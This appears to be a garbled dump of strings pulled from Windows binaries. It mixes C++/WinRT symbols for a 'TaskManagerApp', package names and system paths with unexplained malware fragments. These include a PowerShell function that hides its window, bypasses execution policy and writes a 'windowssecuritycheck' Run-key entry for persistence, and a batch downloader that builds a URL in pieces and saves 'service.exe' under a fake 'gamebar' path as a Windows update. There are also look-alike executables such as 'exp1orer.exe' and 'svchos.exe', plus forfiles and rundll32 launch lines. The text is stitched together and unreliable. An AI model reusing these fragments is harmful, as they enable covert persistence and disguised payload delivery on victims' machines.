.?AU?$producer@Uiterator@?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@Uiterator@?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
Microsoft Windows
N]7\windows\system32\forfiles.exe/pc:\windows\system32/mnotepad.exe/c"cmd/cpow
\appdata\roaming\windowsmodulesv
windows\system32
c:\windows\system32
.?AU?$root_implements@Uiterator@?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@Uiterator@?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@winrt@@
.?AU?$producers_base@Uiterator@?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@V?$tuple@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uiterator@?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@winrt@@
.?AU?$producers_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@@winrt@@V?$tuple@UIVectorChangedEventArgs@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UProcessViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@imS
animation settings|dizziness|motion settings|windows animation|stop movement|movement|open apps|turn off animations|animations settings|windows animations|app animations|<
CurrentVersion\Winlogon\Shell
TCP/IP for WindowsE
GetDockWindowSize
VS2012WindowSplitterControl
VS2013WindowSplitterControl
get_ToolWindowStripGapBottom
windows
C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/
C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/
C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/
C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/
Microsoft.Windows.Notifications.WpnCore
Microsoft.Windows.Notifications.WpnCore
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Notifications.WnsCP
"ser-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe
WindowsAppRuntime.1.72
CloudData.WindowsClient.
Windows\System32\
C:\Users\job\AppData\Local\Microsoft\Windows\WebCache\
C:\Users\job\AppData\Local\Microsoft\Windows\WebCache\
%Microsoft Windows Production PCA 2011
WindowsSetTouchWindowTouchType
WindowsSetHasBorderInFullScreen
WindowsSetHasBorderInFullScreenDefault
WindowsSetWindowActivationBehavior
WindowsIsTabletMode
QWindowsIntegrationPlugin
QWindowsInputContext
QWindowsMenuItem
QWindowsMenu
QWindowsPopupMenu
QWindowsMenuBar
QWindowsNativeInterface
registerWindowsMime
unregisterWindowsMime
 Windows
Microsoft.WindowsNotepad_8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824c
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft.Windows.COM.ComTelemetry
Microsoft.Windows.Com.PoFAggregate
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.WinRTClassActivation
Microsoft.Windows.COM.MetadataBasedMarshaler
 Windows 
 Windows 
 Windows 10 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
\Windows Media Player\wms00cg
swindows\system32\exp1orer.exe217.17.41.93abcdefgh.exe
c:\windows\system32\imglog.exed
    name="Microsoft.Windows.SpInf"
                name="Microsoft.Windows.Common-Controls"
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.sharedpackagecontainerfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.dependencygraphfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packageuser.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appxmanifestfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.filetypeassociation.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appextension.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.protocol.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appurihandler.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.filetypeassociationfactory-custom.cpp
System.Windows.Forms.pdb
f>onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.tileview.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.application.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.optionalbundlefactory.cpp
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy
WINDOWS.DATA.DONOTDISTURB.QUIETMOMENT$QUIETMOMENTPOSTOOBE
Microsoft.WindowsStore_8wekyb3d8bbwe
O<t>syswow64\</t></si><si><t>\windows\</t>
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
RightWindows
GetSystemWindowsDirectoryW
WINDOWS11
windows-31j
windows-936
functionregistertask{#$execpath="powershell-executionpolicybypass-windowstylehidden-noprofile-file$localpath\pipe\1.ps1-filename$localpath\pipe\1.log"$execpath="$localpath\pipe\1.vbs"new-itemproperty-path"hkcu:\software\microsoft\windows\currentversion\run"-name"windowssecuritycheck"-value$execpath-propertytypestring-force
5=dfwdf/main/"set"url_part6=service.exe"set"full_url=!url_part1!!url_part2!!url_part3!!url_part4!!url_part5!!url_part6!"set"download_path=\microsoft\windows\gamebar\gamebarsrv.exe"::ifnotexist"\microsoft\windows\gamebar"(mkdir"\microsoft\windows\gamebar">nul2>&1)::1:powershellechodownloadingviawindowsupdateservice
=ementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UUsersPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UUsersPage@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UUsersPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UUsersPage@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@UUsersPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UUsersPage@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AV?$IUIElementOverrides8T@UUsersPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides9T@UUsersPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$UsersPage_base@UUsersPage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AV?$IFrameworkElementOverridesT@UUsersPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IFrameworkElementOverrides2T@UUsersPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverridesT@UUsersPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AV?$IUIElementOverrides7T@UUsersPage@implementation@TaskManagerApp@winrt@@@Xaml@UI@Windows@winrt@@
.?AU?$base@UUsersPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AV?$IPageOverridesT@UUsersPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverridesT@UUsersPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AV?$IControlOverrides6T@UUsersPage@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UUsersPage@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UUsersPage@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UUsersPage@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UUsersPage@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UUsersPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UUsersPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
\system32\
\C:\WINDOWS\svchos.exe
h\windows nt\currentversion\svchostportable number service
WindowsHologr
Windows.Data.Platform.Partitioning.DeviceExperiencePartition
Windows.Data.Platform.Partitioning.DevicePartitions
Windows.Data.Platform.Partitioning.ActivePartitions
Windows.Data.LockScreenSettings.DesktopLockScreen
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.NetworkUX.Cellular.ImsiMeteredPairs
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Input.InkAndPen.PenSettingShortcuts
Windows.Data.Platform.Partitioning.PartitionIndex
Windows.Data.Platform.Partitioning.OperatingSystemVersion
Windows.Data.Platform.Partitioning.PartitionMetadata
Windows.Data.BlueLightReduction.SettingsPerDevice
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.Settings.MultiTasking.MultiTaskOthers
Windows.Data.Inp
Windows.Data.NetworkUX.Cellular.CellularSettings
CloudData.WindowsClient.DisableSyncOnActivityFeed
Host Process for Windows ServicesH
m9\windows\system32\host.exeW
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UNavigationControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$base@UNavigationControl@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AU?$base_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UNavigationControl@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AV?$IPageOverridesT@UNavigationControl@implementation@TaskManagerApp@winrt@@@Controls@Xaml@UI@Windows@winrt@@
Microsoft-Windows-ASPNETT
onecoreuap\windows\richedit\re70\richedit\src\textaugmentationcontext.cpp
Windows
Mozilla/5.0 (Windows NT 10.0; Win64; x
Microsoft.Windows.XGpuEjectDialogMicrosoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialogms-resource:AppxManifest_DisplayNamems-resource:AppxManifest_DescriptionAssets\SquareTile150x150.pngAssets\SquareTile44x44.pngAssets\SquareTile310x150.pngAssets\SquareTile71x71.pnglight
FullTrustAppMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustAppms-resource:StartMenuExperienceHost/AppName/Textms-resource:StartMenuExperienceHost/AppDescriptionAssets\Logo.pngAssets\SmallLogo.pnglight
AppMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!Appms-resource:StartMenuExperienceHost/AppName/Textms-resource:StartMenuExperienceHost/AppDescriptionAssets\Logo.pngAssets\SmallLogo.pnglight
FullTrustAppMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy!FullTrustAppms-resource:AppName/Textms-resource:AppDescriptionAssets\Logo.pngAssets\SmallLogo.pnglight
AppMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy!Appms-resource:AppName/Textms-resource:AppDescriptionAssets\Logo.pngAssets\SmallLogo.pnglight
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\AllAppsCollectionView.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\AllAppsObjectModelFactory.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\AppItemEnumerator.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\SystemListVerbProvider.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\LocalSettings.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\SystemListSectionViewModel.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\Common\GUIDUtils.cpp
\bProtectorForWindows\
Windows NT\CurrentVersion\Winlogon
\Windows Genuine Advantage\
s\system32\cmd.exe/ccd
"c:\windows\system32\slui.exe"-verbrunas
Windows.UI.Core.CoreIndependentInputSource
Windows\CurrentVersion\Ext\Settings\%s!VerCache
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\SettingSync\Namespace\BrowserSettings\Wininet-Internet-Explorer!LastUpdated
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
Wmozilla/5.0(windowsnt10.0;win64;x64;rv:6.0)gecko/20110101firefox/69.0
0.?AU?$producer_convert@UReactPackageProvider@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer@UReactPackageProvider@factory_implementation@ReactNativeVideoCPP@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UReactPackageProvider@factory_implementation@ReactNativeVideoCPP@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@@std@@@impl@winrt@@
em;C:\WINDOWS\
WINDOWS\ServiceProfiles\Network
system32\cmd.exe
3C:\WINDOWS\system32\svchost.exe -k LocalServiceRedirectionGuard -pZ
s\system32\cmd
C:\WINDOWS\System32\drivers\ACPI.sys[ACPIMOFResource]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
The locale-independent name for the group that this rule belongs to.  If this field is non-null, then Windows Defender Firewall with Advanced Security assumes that this rule belongs to a Windows component or an installed application, and some parts of the rule are protected (including but not limited to the Name, Description, Program, and Service).
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\System32\drivers\mssmbios.sys[MofResource]
C:\WINDOWS\System32\drivers\mssmbios.sys[MofResource]
C:\WINDOWS\System32\drivers\mssmbios.sys[MofResource]
ne.exe;%system32%\devicecensus.exe;%system32%\driverquery.exe;%system32%\getmac.exe;%system32%\gpresult.exe;%system32%\licensingdiag.exe;%system32%\msinfo32.exe;%system32%\stordiag.exe;%system32%\systeminfo.exe;%system32%\taskkill.exe;%system32%\tasklist.exe;%programfiles%\microsoft\edge\application\msedge.exe;%programfiles%\microsoft office\root\office%version%\excelcnv.exe;preconditions%programfiles%\microsoft office\root\office%version%\excel.exe;preconditions%programfiles%\microsoft office\root\office%version%\msaccess.exe;preconditions%programfiles%\microsoft office\root\office%version%\mspub.exe;preconditions%programfiles%\microsoft office\root\office%version%\onenote.exe;preconditions%programfiles%\microsoft office\root\office%version%\outlook.exe;preconditions%programfiles%\microsoft office\root\office%version%\powerpnt.exe;preconditions%programfiles%\microsoft office\root\office%version%\scanpst.exe;preconditions%programfiles%\microsoft office\root\office%version%\winword.exe
%system32%\wbem\wmiapsrv.exe
%system32%\bootim.exe;%system32%\resetengine.exe;%system32%\rstrui.exe;%system32%\sdclt.exe;%system32%\srtasks.exe;%system32%\systemreset.exe;%system32%\vssadmin.exe;%system32%\vssvc.exe;%system32%\wbengine.exe
%system32%\bootim.exe;%system32%\cleanmgr.exe;%system32%\dsdbutil.exe;%system32%\ntdsutil.exe;%system32%\recoverydrive.exe;%system32%\resetengine.exe;%system32%\rstrui.exe;%system32%\sdclt.exe;%system32%\srtasks.exe;%system32%\systemreset.exe;%system32%\vssadmin.exe;%system32%\vssvc.exe;%system32%\wbengine.exe;%programfiles%\avira\antivirus\avshadow.exe
%system32%\bootim.exe;%system32%\vssvc.exe;%system32%\wbengine.exe
%system32%\agentservice.exe;%system32%\certutil.exe;%system32%\choice.exe;%system32%\clip.exe;%system32%\cmstp.exe;%system32%\cofire.exe;%system32%\cscript.exe;%system32%\diskpart.exe;%system32%\diskraid.exe;%system32%\dism.exe;%system32%\driverquery.exe;%system32%\forfiles.exe;%system32%\fxssvc.exe;%system32%\ie4ushowie.exe;%system32%\iexpress.exe;%system32%\msconfig.exe;%system32%\mstsc.exe;%system32%\openfiles.exe;%system32%\presentationhost.exe;%system32%\psr.exe;%system32%\relpost.exe;%system32%\sfc.exe;%system32%\sigverif.exe;%system32%\systeminfo.exe;%system32%\taskkill.exe;%system32%\tasklist.exe;%system32%\timeout.exe;%system32%\unregmp2.exe;%system32%\verifiergui.exe;%system32%\vsgraphicsdesktopengine.exe;%system32%\waitfor.exe;%system32%\wextract.exe;%system32%\where.exe;%system32%\whoami.exe;%system32%\winsat.exe;%system32%\wscript.exe;%appdata%\zoom\bin\zoom.exe
%system32%\vdsldr.exe
%system32%\cipher.exe;%system32%\efsui.exe;%system32%\rekeywiz.exe;%system32%\vaultcmd.exe
%system32%\atbroker.exe;%system32%\cloudnotifications.exe;%system32%\cttune.exe;%system32%\displayswitch.exe;%system32%\ehstorauthn.exe;%system32%\filehistory.exe;%system32%\gamepanel.exe;%system32%\isoburn.exe;%system32%\mblctr.exe;%system32%\mmc.exe;%system32%\msdt.exe;%system32%\msra.exe;%system32%\musnotifyicon.exe;%system32%\passwordonwakesettingflyout.exe;%system32%\quickassist.exe;%system32%\recoverydrive.exe;%system32%\sdclt.exe;%system32%\sethc.exe;%system32%\sndvol.exe;%system32%\snippingtool.exe;%system32%\taskmgr.exe;%system32%\wfs.exe;%system32%\wiaacmgr.exe;%system32%\wiawow64.exe;%system32%\wmpdmc.exe;%programfiles%\keepass password safe 2\keepass.exe
%system32%\winlogon.exe
%system32%\change.exe;%system32%\chglogon.exe;%system32%\chgport.exe;%system32%\query.exe;%system32%\quser.exe;%system32%\qprocess.exe;%system32%\qwinsta.exe;%system32%\reset.exe;%system32%\rwinsta.exe;%system32%\tscon.exe;%system32%\tskill.exe
%system32%\appidpolicyconverter.exe;%system32%\appvclient.exe;%system32%\appvshnotify.exe;%system32%\bdeuisrv.exe;%sy
{"kind":"response","result":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Suggestions"}
c:\windows\system32\cmd.exe/cstartrundll32.exevertn.dll,plugininit
!#LowfiFraud_AdVector_001_Windows9
@sentence:"downloadwindows
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
